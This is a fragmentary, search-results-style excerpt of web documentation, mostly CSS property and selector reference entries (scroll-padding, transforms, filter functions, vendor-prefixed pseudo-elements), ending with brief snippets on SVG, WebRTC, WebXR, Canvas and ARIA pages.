formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-top' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block-end' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block-start' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,2}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block' in that specification.
... candidate recommendation initial definition ...
scroll-padding-bottom - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-bottom' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline-end' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline-start' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,2}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline' in that specification.
... candidate recommendation initial definition ...
scroll-padding-left - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-left' in that specification.
... candidate recommendation initial definition ...
scroll-padding-right - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-right' in that specification.
... candidate recommendation initial definition ...
scroll-padding-top - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-top' in that specification.
... candidate recommendation initial definition ...
scroll-padding - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,4}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding' in that specification.
... candidate recommendation initial definition ...
scroll-snap-align - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none | start | end | center ]{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-align' in that specification.
... candidate recommendation initial definition ...
scroll-snap-type-x - CSS: Cascading Style Sheets
the scroll-snap-type-x css property defines how strictly snap points are enforced on the horizontal axis of the scroll container in case there is one.
... formal definition initial valuenoneapplies toscroll containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | mandatory | proximity specifications not part of any standard.
shape-image-threshold - CSS: Cascading Style Sheets
result specifications specification status comment css shapes module level 1the definition of 'shape-image-threshold' in that specification.
... candidate recommendation initial definition ...
text-align-last - CSS: Cascading Style Sheets
/* keyword values */ text-align-last: auto; text-align-last: start; text-align-last: end; text-align-last: left; text-align-last: right; text-align-last: center; text-align-last: justify; /* global values */ text-align-last: inherit; text-align-last: initial; text-align-last: unset; values auto the affected line is aligned per the value of text-align, unless text-align is justify, in which case the effect is the same as setting text-align-last to start.
...nullam est eros, suscipit sed dictum quis, accumsan a ligula.</p> css p { font-size: 1.4em; text-align: justify; text-align-last: center; } results specifications specification status comment css text module level 3the definition of 'text-align-last' in that specification.
text-decoration-skip-ink - CSS: Cascading Style Sheets
this can be helpful with certain chinese, japanese, or korean (cjk) fonts, where the auto behavior might not create interruptions.
...例を示しています。</p> <p class="skip-ink-all">この文は、 text-decoration-skip-ink: all の使用例を示しています。</p> css p { font-size: 1.5em; text-decoration: underline blue; text-decoration-skip-ink: auto; /* this is the default anyway */ } .no-skip-ink { text-decoration-skip-ink: none; } .skip-ink-all{ text-decoration-skip-ink: all; } result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip-ink' in that specification.
matrix() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 ac bd actxbdty001 actxbdty001 ac0txbd0ty00100001 [a b c d tx ty] the values represent the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html ...
...<div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
rotateX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... 1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatez(45deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
skewX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(a)01 1tan(a)0010001 1tan(a)0010001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: sk...
...yblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
translateX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 a translation is not a linear transformation in ℝ2 and can't be represented using a cartesian-coordinate matrix.
...001 10t010001 100t010000100001 [1 0 0 1 t 0] formal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */ background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
translate - CSS: Cascading Style Sheets
WebCSStranslate
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform value.
...nslate">translation</p> </div> css * { box-sizing: border-box; } html { font-family: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
-moz-float-edge - CSS: Cascading Style Sheets
nocomputed valueas specifiedanimation typediscrete formal syntax border-box | content-box | margin-box | padding-box examples html <div class="box"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> </div> css .box { display: block; height: 5px; margin: 0.5em auto 0.5em auto; color: gray; -moz-float-edge: margin-box; box-sizing: border-box; } result specifications not part of any standard.
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
</p> </div> css div { width: 100%; overflow: auto; } p { width: 200%; background: #f5f9fa; border: 2px solid #eaf2f4; padding: 10px; } .scroll-touch { -webkit-overflow-scrolling: touch; /* lets it scroll lazy */ } .scroll-auto { -webkit-overflow-scrolling: auto; /* stops scrolling immediately */ } results specifications not part of any standard.
-webkit-text-stroke-width - CSS: Cascading Style Sheets
te formal syntax <length> examples varying stroke widths css p { margin: 0; font-size: 4em; -webkit-text-stroke-color: red; } #thin { -webkit-text-stroke-width: thin; } #medium { -webkit-text-stroke-width: 3px; } #thick { -webkit-text-stroke-width: 1.5mm; } html <p id="thin">thin stroke</p> <p id="medium">medium stroke</p> <p id="thick">thick stroke</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-width' in that specification.
:-moz-broken - CSS: Cascading Style Sheets
:-("> css :-moz-broken { background: bisque; padding: 8px; } result specifications not part of any standard.
:-moz-only-whitespace - CSS: Cascading Style Sheets
examples html <div> </div> css :root { overflow: hidden; max-width: 100vw; max-height: 100vh; } div { background-color: #ccc; box-sizing: border-box; height: 100vh; min-height: 16px; min-height: 1rem; } div { border: 4px solid red; } :-moz-only-whitespace { border-color: lime; } result specifications briefly defined as :blank in selectors level 4, but then the functionality was merged into :empty and :blank redefined to mean empty <input>.
:-moz-ui-valid - CSS: Cascading Style Sheets
specifications not part of any standard.
:-webkit-autofill - CSS: Cascading Style Sheets
syntax :-webkit-autofill specifications not part of any standard.
::-moz-color-swatch - CSS: Cascading Style Sheets
examples html <input type="color" value="#de2020" /> css input[type=color]::-moz-color-swatch { border-radius: 10px; border-style: none; } result specifications not part of any standard.
::-moz-focus-inner - CSS: Cascading Style Sheets
/> <button type="submit">button</button> css button::-moz-focus-inner, input[type="color"]::-moz-focus-inner, input[type="reset"]::-moz-focus-inner, input[type="button"]::-moz-focus-inner, input[type="submit"]::-moz-focus-inner { padding-block-start: 0px; padding-inline-end: 2px; padding-block-end: 0px; padding-inline-start: 2px; border: 1px dotted red; } result specifications not part of any standard.
::-moz-page-sequence - CSS: Cascading Style Sheets
specifications not part of any standard.
::-moz-page - CSS: Cascading Style Sheets
specifications not part of any standard.
::-moz-progress-bar - CSS: Cascading Style Sheets
syntax ::-moz-progress-bar examples html <progress value="30" max="100">30%</progress> <progress max="100">indeterminate</progress> css ::-moz-progress-bar { background-color: red; } /* force indeterminate bars to have zero width */ :indeterminate::-moz-progress-bar { width: 0; } result specifications not part of any standard.
::-moz-scrolled-page-sequence - CSS: Cascading Style Sheets
specifications not part of any standard.
::-webkit-inner-spin-button - CSS: Cascading Style Sheets
html <input type="number"> css input[type=number]::-webkit-inner-spin-button { cursor: pointer; } result specifications not part of any standard.
::-webkit-meter-bar - CSS: Cascading Style Sheets
syntax ::-webkit-meter-bar specifications not part of any standard.
::-webkit-meter-even-less-good-value - CSS: Cascading Style Sheets
syntax ::-webkit-meter-even-less-good-value specifications not part of any standard.
::-webkit-meter-inner-element - CSS: Cascading Style Sheets
syntax ::-webkit-meter-inner-element specifications not part of any standard.
::-webkit-meter-optimum-value - CSS: Cascading Style Sheets
syntax ::-webkit-meter-optimum-value specifications not part of any standard.
::-webkit-meter-suboptimum-value - CSS: Cascading Style Sheets
html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-suboptimum-value { background: -webkit-gradient linear, left top, left bottom; height: 100%; box-sizing: border-box; } result specifications not part of any standard.
::-webkit-outer-spin-button - CSS: Cascading Style Sheets
html <input type="number"> css input::-webkit-outer-spin-button { -webkit-appearance: none; } result specifications not part of any standard.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar { background-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard.
::-webkit-progress-inner-element - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-inner-element { border: 2px solid black; } result result screenshot if you're not using a blink or webkit browsear, the above code resuls in a progress bar looking like this: specifications not part of any standard.
::-webkit-progress-value - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value { background-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard.
::-webkit-search-results-button - CSS: Cascading Style Sheets
syntax selector::-webkit-search-results-button specifications not part of any standard.
::part() - CSS: Cascading Style Sheets
WebCSS::part
} tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
:any-link - CSS: Cascading Style Sheets
WebCSS:any-link
by :link or :visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification.
:blank - CSS: Cascading Style Sheets
WebCSS:blank
html <textarea></textarea> css textarea:blank { border: 3px solid red; } result specifications specification status comment selectors level 4the definition of ':blank' in that specification.
:defined - CSS: Cascading Style Sheets
WebCSS:defined
es that are defined as block level elements: simple-custom:not(:defined) { display: none; } simple-custom:defined { display: block; } this is useful if you have a complex custom element that takes a while to load into the page — you might want to hide instances of the element until definition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification.
:focus-within - CSS: Cascading Style Sheets
<p>try typing into this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within { background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
-webkit-animation - CSS: Cascading Style Sheets
examples @media (-webkit-animation) { /* css to use if animations are supported */ } specifications not part of any standard.
-webkit-transform-2d - CSS: Cascading Style Sheets
if possible, use an @supports feature query instead: @supports (-webkit-transform: translate(100px, 100px)) { div { -webkit-transform: translate(100px, 100px); } } specifications not part of any standard.
-webkit-transform-3d - CSS: Cascading Style Sheets
examples @media (-webkit-transform-3d) { .foo { transform-style: preserve-3d; } } @media (-webkit-transform-3d: 1) { .foo { transform-style: preserve-3d; } } specifications specification status comment compatibility standardthe definition of '-webkit-transform-3d' in that specification.
bleed - CSS: Cascading Style Sheets
WebCSS@pagebleed
formal definition related at-rule@pageinitial valueautocomputed valueas specified formal syntax auto | <length> examples setting a page bleed of 1cm @page { bleed: 1cm; } specifications specification status comment css paged media module level 3the definition of 'bleed' in that specification.
CSS Basic Box Model - CSS: Cascading Style Sheets
specifications specification status comment css basic box model working draft added margin-trim css level 2 (revision 1) recommendation css level 1 recommendation initial definition.
CSS Charsets - CSS: Cascading Style Sheets
reference at-rules @charset specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
CSS Counter Styles - CSS: Cascading Style Sheets
specifications specification status comment css counter styles level 3 candidate recommendation initial definition.
CSS Device Adaptation - CSS: Cascading Style Sheets
reference at-rules @viewport specifications specification status comment css device adaptation working draft initial definition ...
CSS Masking - CSS: Cascading Style Sheets
reference properties clip clip-path clip-rule mask mask-border mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size mask-type specifications specification status comment css masking module level 1 candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification.
CSS Namespaces - CSS: Cascading Style Sheets
reference at-rules @namespace specifications specification status comment css namespaces module recommendation initial definition ...
CSS Paged Media - CSS: Cascading Style Sheets
WebCSSCSS Pages
reference css properties page-break-after page-break-before page-break-inside at-rules @page pseudo-classes :blank :first :left :right specifications specification status comment css paged media module level 3 working draft css fragmentation module level 3 candidate recommendation css level 2 (revision 1) recommendation ...
CSS Positioned Layout - CSS: Cascading Style Sheets
specifications specification status comment css positioned layout module level 3 working draft css level 2 (revision 1) recommendation ...
CSS Properties Reference - CSS: Cascading Style Sheets
eakafter page-break-before pagebreakbefore position position stroke-dasharray strokedasharray stroke-dashoffset strokedashoffset stroke-width strokewidth text-align textalign text-decoration textdecoration text-indent textindent text-transform texttransform top top vertical-align verticalalign visibility visibility width width z-index zindex ...
CSS Table - CSS: Cascading Style Sheets
WebCSSCSS Table
reference properties border-collapse border-spacing caption-side empty-cells table-layout vertical-align specifications specification status comment css level 2 (revision 1) recommendation initial definition ...
Column combinator - CSS: Cascading Style Sheets
="1"> <colgroup> <col span="2"/> <col class="selected"/> </colgroup> <tbody> <tr> <td>a <td>b <td>c </tr> <tr> <td colspan="2">d</td> <td>e</td> </tr> <tr> <td>f</td> <td colspan="2">g</td> </tr> </tbody> </table> css col.selected || td { background: gray; color: white; font-weight: bold; } result specifications specification status comment selectors level 4the definition of 'column combinator' in that specification.
Compositing and Blending - CSS: Cascading Style Sheets
reference properties background-blend-mode isolation mix-blend-mode data types <blend-mode> specifications specification status comment compositing and blending level 1 candidate recommendation initial definition ...
Filter Effects - CSS: Cascading Style Sheets
reference properties backdrop-filter filter data types <filter-function> specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
Contribute a recipe - CSS: Cascading Style Sheets
it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
animation-direction - CSS: Cascading Style Sheets
specifications specification status comment css animationsthe definition of 'animation-direction' in that specification.
animation-iteration-count - CSS: Cascading Style Sheets
specifications specification status comment css animationsthe definition of 'animation-iteration-count' in that specification.
animation-play-state - CSS: Cascading Style Sheets
specifications specification status comment css animationsthe definition of 'animation-play-state' in that specification.
animation-timing-function - CSS: Cascading Style Sheets
-function: steps(5, jump-end); } .jump-none { animation-timing-function: steps(5, jump-none); } .jump-both { animation-timing-function: steps(5, jump-both); } .start { animation-timing-function: steps(5, start); } .end { animation-timing-function: steps(5, end); } .step-start { animation-timing-function: step-start; } .step-end { animation-timing-function: step-end; } specifications specification status comment css animationsthe definition of 'animation-timing-function' in that specification.
box-flex-group - CSS: Cascading Style Sheets
specifications not part of any standard.
column-fill - CSS: Cascading Style Sheets
</p> css .content-box { column-count: 4; column-rule: 1px solid black; column-fill: balance; } result specifications specification status comment css multi-column layout modulethe definition of 'column-fill' in that specification.
column-rule-style - CSS: Cascading Style Sheets
don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: dashed; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-style' in that specification.
column-rule-width - CSS: Cascading Style Sheets
don't you think that's wonderful?</p> css p { column-count: 3; column-rule-style: solid; column-rule-width: thick; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule-width' in that specification.
column-rule - CSS: Cascading Style Sheets
</p> css .content-box { padding: 0.3em; background: #ff7; column-count: 3; column-rule: inset 2px #33f; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule' in that specification.
empty-cells - CSS: Cascading Style Sheets
1"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status comment css level 2 (revision 1)the definition of 'empty-cells' in that specification.
blur() - CSS: Cascading Style Sheets
examples setting a blur with pixels and with rem blur(0) /* no effect */ blur(8px) /* blur with 8px radius */ blur(1.17rem) /* blur with 1.17rem radius */ specifications specification status filter effects module level 1the definition of 'blur()' in that specification.
brightness() - CSS: Cascading Style Sheets
examples setting brightness using numbers and percentages brightness(0%) /* completely black */ brightness(0.4) /* 40% brightness */ brightness(1) /* no effect */ brightness(200%) /* double brightness */ specifications specification status filter effects module level 1the definition of 'brightness()' in that specification.
contrast() - CSS: Cascading Style Sheets
examples setting contrast using numbers and percentages contrast(0) /* completely gray */ contrast(65%) /* 65% contrast */ contrast(1) /* no effect */ contrast(200%) /* double contrast */ specifications specification status filter effects module level 1the definition of 'contrast()' in that specification.
hue-rotate() - CSS: Cascading Style Sheets
examples hue-rotate(-90deg) /* same as 270deg rotation */ hue-rotate(0deg) /* no effect */ hue-rotate(90deg) /* 90deg rotation */ hue-rotate(.5turn) /* 180deg rotation */ hue-rotate(405deg) /* same as 45deg rotation */ specifications specification status filter effects module level 1the definition of 'hue-rotate()' in that specification.
invert() - CSS: Cascading Style Sheets
examples invert(0) /* no effect */ invert(.6) /* 60% inversion */ invert(100%) /* completely inverted */ specifications specification status filter effects module level 1the definition of 'invert()' in that specification.
opacity() - CSS: Cascading Style Sheets
examples opacity(0%) /* completely transparent */ opacity(50%) /* 50% transparent */ opacity(1) /* no effect */ specifications specification status filter effects module level 1the definition of 'opacity()' in that specification.
saturate() - CSS: Cascading Style Sheets
examples saturate(0) /* completely unsaturated */ saturate(.4) /* 40% saturated */ saturate(100%) /* no effect */ saturate(200%) /* double saturation */ specifications specification status filter effects module level 1the definition of 'saturate()' in that specification.
sepia() - CSS: Cascading Style Sheets
examples sepia(0) /* no effect */ sepia(.65) /* 65% sepia */ sepia(100%) /* completely sepia */ specifications specification status filter effects module level 1the definition of 'sepia()' in that specification.
outline-offset - CSS: Cascading Style Sheets
all elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
overflow-block - CSS: Cascading Style Sheets
</div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; height: 100px; } #div1 { overflow-block: hidden; margin-bottom: 120px;} #div2 { overflow-block: scroll; margin-bottom: 120px;} #div3 { overflow-block: visible; margin-bottom: 120px;} #div4 { overflow-block: auto; margin-bottom: 120px;} result specifications specification status comment css overflow module level 3the definition of 'overflow-block' in that specification.
overflow-inline - CSS: Cascading Style Sheets
, equivalent to <code>scroll</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-inline: hidden;} #div2 { overflow-inline: scroll;} #div3 { overflow-inline: visible;} #div4 { overflow-inline: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-inline' in that specification.
overscroll-behavior-inline - CSS: Cascading Style Sheets
50px; overscroll-behavior-inline: contain; } div > div { height: 100%; width: 1500px; background-color: yellow; background-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; background-color: rgba(255,0,0,0.5); margin: 0; width: 360px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-inline' in that specification.
overscroll-behavior-x - CSS: Cascading Style Sheets
to avoid this, you can set overscroll-behavior-x: contain on the inner box: main > div { height: 300px; width: 500px; overflow: auto; position: relative; top: 100px; left: 100px; overscroll-behavior-x: contain; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-x' in that specification.
scroll-snap-coordinate - CSS: Cascading Style Sheets
line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-snap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-child(even) { background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-destination - CSS: Cascading Style Sheets
roll-snap-destination: 25px 0; } .destination50 { scroll-snap-destination: 50px 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .scrollcontainer > div:nth-child(even) { background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-x - CSS: Cascading Style Sheets
te-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) { background-color: #87ea87; } #container > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
tab-size - CSS: Cascading Style Sheets
WebCSStab-size
html <p>no tab</p> <p>&#0009;default tab size of 8 characters wide</p> <p class="custom">&#0009;custom tab size of 3 characters wide</p> <p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment css text module level 3the definition of 'tab-size' in that specification.
text-decoration-skip - CSS: Cascading Style Sheets
objectsapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ objects | [ spaces | [ leading-spaces | trailing-spaces ] ] | edges | box-decoration ] examples skipping edges html <p>hey, grab a cup of <em>coffee!</em></p> css p { margin: 0; font-size: 3em; text-decoration: underline; text-decoration-skip: edges; } result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip' in that specification.
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
found 383 pages: # page tags and summary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content.
... 3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types.
...versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
...And 190 more matches
Signaling and video calling - Web APIs
a connection is established through a discovery and negotiation process called signaling.
... this tutorial will guide you through building a two-way video-call.
... webrtc is a fully peer-to-peer technology for the real-time exchange of audio, video, and data, with one central caveat.
...And 177 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
the first and most important thing to understand when considering the code to manage point-of-view and cameras in your application is this: webxr does not have cameras.
... there's no magic object provided by either the webgl or the webxr api that represents the viewer that you can simply rotate and move around to automatically change what's seen on the screen.
... in this guide we show how use webgl to simulate camera movements without having a camera to move.
...And 141 more matches
Observer Notifications
observer topics the following are topics that you can observe during the course of an application.
... application startup these are the topics that you can observe on startup, in order of appearance.
... if your component requires access to the user profile, or any services which require access to the profile (preferences, bookmarks, and so on) then a common pattern is to register with the nsicategorymanager for the app-startup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification.
...And 115 more matches
CanvasRenderingContext2D - Web APIs
the canvasrenderingcontext2d interface, part of the canvas api, provides the 2d rendering context for the drawing surface of a <canvas> element.
...the canvas tutorial has more explanation, examples, and resources, as well.
... basic example to get a canvasrenderingcontext2d instance, you must first have an html <canvas> element to work with: <canvas id="my-house" width="300" height="300"></canvas> to get the canvas' 2d rendering context, call getcontext() on the <canvas> element, supplying '2d' as the argument: const canvas = document.getelementbyid('my-house'); const ctx = canvas.getcontext('2d'); with the context in hand, you can draw anything you like.
...And 110 more matches
ARIA Test Cases - Accessibility
we can add more screen readers if people are willing to step up and provide test results for them.
